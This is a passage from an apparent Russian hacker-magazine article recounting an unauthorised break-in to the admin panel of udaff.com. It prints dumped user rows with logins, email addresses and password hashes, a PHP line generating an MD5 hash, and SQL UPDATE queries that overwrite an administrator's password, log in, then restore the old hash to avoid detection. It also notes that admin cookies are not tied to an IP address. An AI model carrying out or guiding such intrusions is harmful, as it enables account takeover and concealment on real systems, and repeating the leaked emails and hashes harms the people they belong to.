Жжом автора

mag (mag@wapp.ru)

Хакер, номер #085, стр. 085-060-3

$conf['servers'][0]['desc'] = 'psql';

$conf['servers'][0]['host'] = 'psql';

$conf['servers'][0]['defaultdb'] = 'udaff';

Теперь можно было залогиниваться на наш pg-сервак с полученными ранее логином и паролем, что я тут же и проделал. Скрипт выдал мне кучу баз данных, но мне нужна была только одна - udaff :). Так как phpPgAdmin не позволяет прямо в браузере просматривать структуру баз данных, то я начал сливать дамп этой базы. Дойдя до места, где были строки:

INSERT INTO ra_users VALUES (1, 'proforg', '3226139f7e09e6c29f9fc9520acf209b', 'proforg@maloletka.ru', 'proforg', '');

INSERT INTO ra_users VALUES (2, 'vaikon', '3226139f7e09e6c29f9fc9520acf209b', 'vaikon@idbh.ru', 'vaikon', '');

я остановился, так как видел запросы к этой таблице в файле, который отвечал за авторизацию в админке :). Нового пользователя в админку я добавлять не стал, а всего лишь соорудил небольшой скрипт со следующим содержанием:

<?

print md5('12345');

?>

Сценарий, успешно выполнившись, выдал мне md5-хэш строки 12345.

Далее последовал следующий запрос к базе данных:

UPDATE ra_users SET passwd='827ccb0eea8a706c4c34a16891f84e7b' WHERE login='proforg'

Этим запросом мы установили пароль 12345 админу proforg :).

Думаю, теперь можно наведаться в админку по адресу: http://udaff.com/adm. После успешного входа в админку с логином proforg и паролем 12345, я, чтобы не палиться, вернул профоргу старый пароль запросом:

UPDATE ra_users SET passwd='3226139f7e09e6c29f9fc9520acf209b' WHERE login='proforg'

[админим удафф]

Поскольку у меня уже были админские куки, я принялся активно изучать админский интерфейс. Надо заметить, что куки на Удаве не привязываются к конкретному айпишнику, то есть можно спокойно сидеть под админом, и никто ничего не заметит. На этом я закругляюсь, пойду порулю Удавом :).